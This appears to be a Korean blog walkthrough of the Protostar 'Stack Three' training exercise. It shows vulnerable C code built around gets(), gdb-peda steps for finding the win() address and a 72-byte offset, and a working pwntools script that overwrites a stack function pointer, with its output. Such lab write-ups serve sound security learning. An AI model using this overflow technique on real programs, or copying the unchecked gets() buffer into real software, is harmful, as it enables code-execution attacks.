Security_RNRF

STACK THREE 본문

Reversing/Protostar

STACK THREE

RNRF 2022. 7. 5. 23:14

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints

  • both gdb and objdump is your friend you determining where the win() function lies in memory.

This level is at /opt/protostar/bin/stack3

Link - https://exploit.education/protostar/stack-three/#source-code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

해당 문제는 win()이라는 함수가 있고, fp라는 변수가 있다. fp는 함수같은 변수인 듯 하다. 그리고 buffer가 존재한다.

위의 그림에서 보듯이 buffer를 가득 채우면 fp가 변조가 될 수 있다. fp가 0이 아니라면 무언가를 실행할 것이다.
하지만, 위의 조건만 만족했을때 if 조건문으로 들어가더라도 fp() 함수를 한번 더 실행하고 종료시킨다. 우리가 원하는 것은 win() 함수가 실행되어 "printf("code flow successfully changed\n");" 코드가 실행되어야 한다.

하지만 아쉽게도 win() 함수를 호출하는 코드는 어디에도 존재하지 않는다. 즉, win을 호출하기 위해서는 우선적으로 win의 위치를 파악해야 한다.

즉, buffer를 가득 채우고, fp 내용을 변경해주는데, 변경한 내용이 win을 가리키게 하면 된다.
이러한 내용을 전문적으로 "return 2 lib"이라고 표현한다.

보통은 스택에 공격 코드를 넣는데, 스택에 공격 코드를 넣지 않고, win() 함수만 실행하면 되기 때문에 스택을 실행할 필요가 없다.

1. 파일 생성
root@kali:~/Desktop/protostar# gedit stack3.c

2. 컴파일
root@kali:~/Desktop/protostar# gcc -z execstack -w -no-pie -o stack3 stack3.c
/usr/bin/ld: /tmp/ccxxrsdy.o: in function `main':
stack3.c:(.text+0x37): warning: the `gets' function is dangerous and should not be used.
(경고문은 무시해준다.)

3. 파일 실행및 동작파악
root@kali:~/Desktop/protostar# ./stack3
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
calling function pointer, jumping to 0x61616161
Segmentation fault

확인 결과, "jumping to 0x61616161"의 0x61616161의 부분을 win()이 위치로 변경해주면 성공할 것이다.

그렇다면 win()이 있는 위치는 어떻게 알 수 있는가?
IDA를 이용해서 보는 방법이 있고, GDB를 이용하는 방법이 있다. 우리는 GDB를 이용한 방법을 선택한다.

root@kali:~/Desktop/protostar# gdb ./stack3
GNU gdb (Debian 8.2-1) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack3...(no debugging symbols found)...done.

심볼이 있다면 "disas win"이라고 검색하면 알 수 있다.
gdb-peda$ disas win

Dump of assembler code for function win:
   0x0000000000401142 <+0>:	push   rbp
   0x0000000000401143 <+1>:	mov    rbp,rsp
   0x0000000000401146 <+4>:	lea    rdi,[rip+0xebb]        # 0x402008
   0x000000000040114d <+11>:	call   0x401030 <puts@plt>
   0x0000000000401152 <+16>:	nop
   0x0000000000401153 <+17>:	pop    rbp
   0x0000000000401154 <+18>:	ret    
End of assembler dump.

해당 코드에서 시작 주소가 가장 중요하다. (win_addr = 0x0000000000401142)

다음으로 스택을 얼마나 덮어 씌워야 하는지를 파악한다. pattern create와 pattern offset을 이용한다.
gdb-peda$ disas main

Dump of assembler code for function main:
   0x0000000000401155 <+0>:	push   rbp
   0x0000000000401156 <+1>:	mov    rbp,rsp
   0x0000000000401159 <+4>:	sub    rsp,0x60
   0x000000000040115d <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000401160 <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000401164 <+15>:	mov    QWORD PTR [rbp-0x8],0x0
   0x000000000040116c <+23>:	lea    rax,[rbp-0x50]
   0x0000000000401170 <+27>:	mov    rdi,rax
   0x0000000000401173 <+30>:	mov    eax,0x0
   0x0000000000401178 <+35>:	call   0x401050 <gets@plt>
   0x000000000040117d <+40>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000401182 <+45>:	je     0x4011a7 <main+82>
   0x0000000000401184 <+47>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401188 <+51>:	mov    rsi,rax
   0x000000000040118b <+54>:	lea    rdi,[rip+0xe96]        # 0x402028
   0x0000000000401192 <+61>:	mov    eax,0x0
   0x0000000000401197 <+66>:	call   0x401040 <printf@plt>
   0x000000000040119c <+71>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004011a0 <+75>:	mov    eax,0x0
   0x00000000004011a5 <+80>:	call   rdx
   0x00000000004011a7 <+82>:	mov    eax,0x0
   0x00000000004011ac <+87>:	leave  
   0x00000000004011ad <+88>:	ret    
End of assembler dump.


해당 코드에서 비교하는 부분에 브레이크 포인트를 걸어준다.
(= 0x000000000040117d <+40>: cmp    QWORD PTR [rbp-0x8],0x0)
gdb-peda$ b *main+40
Breakpoint 1 at 0x40117d

그리고 패턴을 만들어 준 후, 실행해준다.
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Starting program: /root/Desktop/protostar/stack3 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe0c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0 
RCX: 0x7ffff7fa8a00 --> 0xfbad2288 
RDX: 0x7ffff7faa8d0 --> 0x0 
RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7fffffffe0c1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBP: 0x7fffffffe110 ("AJAAfAA5AAKAAgAA6AAL")
RSP: 0x7fffffffe0b0 --> 0x7fffffffe1f8 --> 0x7fffffffe4e5 ("/root/Desktop/protostar/stack3")
RIP: 0x40117d (<main+40>:	cmp    QWORD PTR [rbp-0x8],0x0)
R8 : 0x4052c5 --> 0x0 
R9 : 0x0 
R10: 0x7ffff7faf500 (0x00007ffff7faf500)
R11: 0x246 
R12: 0x401060 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401170 <main+27>:	mov    rdi,rax
   0x401173 <main+30>:	mov    eax,0x0
   0x401178 <main+35>:	call   0x401050 <gets@plt>
=> 0x40117d <main+40>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x401182 <main+45>:	je     0x4011a7 <main+82>
   0x401184 <main+47>:	mov    rax,QWORD PTR [rbp-0x8]
   0x401188 <main+51>:	mov    rsi,rax
   0x40118b <main+54>:	lea    rdi,[rip+0xe96]        # 0x402028
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0b0 --> 0x7fffffffe1f8 --> 0x7fffffffe4e5 ("/root/Desktop/protostar/stack3")
0008| 0x7fffffffe0b8 --> 0x1ffffe0e6 
0016| 0x7fffffffe0c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe0c8 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe0d0 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe0d8 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe0e0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe0e8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040117d in main ()

걸어둔 브레이크 포인트에 잘 걸린것을 확인할 수 있다. [rbp-0x8]이라는 것과 현재 비교를 하고 있다는 것을 알 수 있다.

현재 rbp-0x8가 있는곳을 조회해본다.
gdb-peda$ x/10gx $rbp-0x8

0x7fffffffe108: 0x4134414165414149 0x3541416641414a41
0x7fffffffe118: 0x41416741414b4141 0x000000004c414136
0x7fffffffe128: 0x00007fffffffe1f8 0x0000000100040000
0x7fffffffe138: 0x0000000000401155 0x0000000000000000
0x7fffffffe148: 0xb82d411eb10967de 0x0000000000401060

"0x7fffffffe108: 0x4134414165414149"가 0과 비교하는 위치이다.

pattern offset으로 위치를 알아본다.
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72

정리해보자면, 72바이트 뒤에 win의 위치를 전달해주면 끝이다.
하지만 이러한 win의 위치를 win_addr이나, "python -c"를 이용해서 전달할 수는 없다.
그렇기 때문에 pwn이라는 방법을 이용해서 값을 전달해줘야 한다.

먼저 pwntools를 설치해줘야 한다.
root@kali:~/Desktop/protostar# pip install pwntools

Collecting pwntools
  Downloading https://files.pythonhosted.org/packages/81/6e/3470be57c36cd38a71dfd40ca65a3488dd9d66b8f06fcc5c4daa8ee43633/pwntools-4.8.0-py2.py3-none-any.whl (11.7MB)
    100% |████████████████████████████████| 11.7MB 136kB/s 
Requirement already satisfied: pygments>=2.0 in /usr/lib/python2.7/dist-packages (from pwntools) (2.3.1)
Collecting rpyc (from pwntools)
  Downloading https://files.pythonhosted.org/packages/36/a7/7898de583e17202ce02ac7ecffdbed95c72a6cebe468c1ee6fc94fc20933/rpyc-4.1.5-py2-none-any.whl (68kB)
    100% |████████████████████████████████| 71kB 4.2MB/s 
Requirement already satisfied: pip>=6.0.8 in /usr/lib/python2.7/dist-packages (from pwntools) (18.1)
Requirement already satisfied: python-dateutil in /usr/lib/python2.7/dist-packages (from pwntools) (2.6.1)
Requirement already satisfied: requests>=2.0 in /usr/lib/python2.7/dist-packages (from pwntools) (2.20.0)
Collecting sortedcontainers (from pwntools)
  Downloading https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl
Collecting unicorn>=1.0.2rc1 (from pwntools)
  Downloading https://files.pythonhosted.org/packages/c0/b9/19170a4f0abf67fb45efabd1e8363c56a46aa999042fd47a72a8a36ce97a/unicorn-2.0.0rc7-py2.py3-none-manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (7.4MB)
    100% |████████████████████████████████| 7.5MB 222kB/s 
Collecting intervaltree>=3.0 (from pwntools)
  Downloading https://files.pythonhosted.org/packages/50/fb/396d568039d21344639db96d940d40eb62befe704ef849b27949ded5c3bb/intervaltree-3.1.0.tar.gz
Requirement already satisfied: mako>=1.0.0 in /usr/lib/python2.7/dist-packages (from pwntools) (1.0.7)
Collecting colored-traceback (from pwntools)
  Downloading https://files.pythonhosted.org/packages/68/95/d9b20efe099fff830502c6c7b83da4f1cdfd3346922d87da9bca3e63f897/colored_traceback-0.3.0-py2-none-any.whl
Collecting psutil>=3.3.0 (from pwntools)
  Downloading https://files.pythonhosted.org/packages/d6/de/0999ea2562b96d7165812606b18f7169307b60cd378bc29cf3673322c7e9/psutil-5.9.1.tar.gz (479kB)
    100% |████████████████████████████████| 481kB 2.5MB/s 
  Installing build dependencies ... done
Requirement already satisfied: pyserial>=2.7 in /usr/lib/python2.7/dist-packages (from pwntools) (3.4)
Requirement already satisfied: paramiko>=1.15.2 in /usr/lib/python2.7/dist-packages (from pwntools) (2.4.2)
Collecting pyelftools>=0.2.4 (from pwntools)
  Downloading https://files.pythonhosted.org/packages/40/22/6706cc385a099bc5bcb0ea179c2c11863b62c79d37bd47fe464c16f9798d/pyelftools-0.28-py2.py3-none-any.whl (155kB)
    100% |████████████████████████████████| 163kB 5.8MB/s 
Collecting ropgadget>=5.3 (from pwntools)
  Downloading https://files.pythonhosted.org/packages/99/99/8329cc4892cb2d13f955ce7971eeeebf20cbaef2b58a3aaccb69a08865e0/ROPGadget-6.8-py2-none-any.whl
Requirement already satisfied: packaging in /usr/lib/python2.7/dist-packages (from pwntools) (18.0)
Requirement already satisfied: pathlib2 in /usr/lib/python2.7/dist-packages (from pwntools) (2.3.3)
Requirement already satisfied: six>=1.12.0 in /usr/lib/python2.7/dist-packages (from pwntools) (1.12.0)
Requirement already satisfied: pysocks in /usr/lib/python2.7/dist-packages (from pwntools) (1.6.8)
Collecting capstone>=3.0.5rc2 (from pwntools)
  Downloading https://files.pythonhosted.org/packages/0d/25/3496d5e23573bce9c1b753c215b80615e7b557680fcf4f1f804ac7defc97/capstone-5.0.0.tar.gz (2.6MB)
    100% |████████████████████████████████| 2.6MB 654kB/s 
Collecting plumbum (from rpyc->pwntools)
  Downloading https://files.pythonhosted.org/packages/f5/7f/4e93e5e1c13261966ea553cb4368599902e4fbf6f7dcad3ec16695a45718/plumbum-1.7.2-py2.py3-none-any.whl (117kB)
    100% |████████████████████████████████| 122kB 6.2MB/s 
Requirement already satisfied: scandir in /usr/lib/python2.7/dist-packages (from pathlib2->pwntools) (1.9.0)
Building wheels for collected packages: intervaltree, psutil, capstone
  Running setup.py bdist_wheel for intervaltree ... done
  Stored in directory: /root/.cache/pip/wheels/f3/f2/66/e9c30d3e9499e65ea2fa0d07c002e64de63bd0adaa49c445bf
  Running setup.py bdist_wheel for psutil ... done
  Stored in directory: /root/.cache/pip/wheels/6e/94/8f/ef906811f8dcf6824a9747df0381615be48d723073fb59a317
  Running setup.py bdist_wheel for capstone ... done
  Stored in directory: /root/.cache/pip/wheels/73/88/67/bb72b0bdc24d6a940cda545255e322ac19d96bf858a984a5cc
Successfully built intervaltree psutil capstone
Installing collected packages: plumbum, rpyc, sortedcontainers, unicorn, intervaltree, colored-traceback, psutil, pyelftools, capstone, ropgadget, pwntools
Successfully installed capstone-5.0.0 colored-traceback-0.3.0 intervaltree-3.1.0 plumbum-1.7.2 psutil-5.9.1 pwntools-4.8.0 pyelftools-0.28 ropgadget-6.8 rpyc-4.1.5 sortedcontainers-2.4.0 unicorn-2.0.0rc7

root@kali:~/Desktop/protostar# gedit stack3_exploit.py

from pwn import *

p = process('./stack3')

win_addr = p64(0x0000000000401142)
payload = 'A'*72 + win_addr

p.sendline(payload)
print p.recvrepeat(1)

 

root@kali:~/Desktop/protostar# python stack3_exploit.py

[+] Starting local process './stack3': pid 10532
[*] Process './stack3' stopped with exit code 0 (pid 10532)
calling function pointer, jumping to 0x00401142
code flow successfully changed

"jumping to 0x00401142" 원하는 부분으로 jump가 된 것을 확인할 수 있으며,
"code flow successfully changed" 성공적으로 출력 구문도 확인할 수 있다.

'Reversing > Protostar' 카테고리의 다른 글

STACK FIVE  (0) 2022.07.10
STACK FOUR  (0) 2022.07.07
STACK TWO  (0) 2022.07.04
STACK ONE  (0) 2022.07.03
STACK ZERO  (0) 2022.06.03
Comments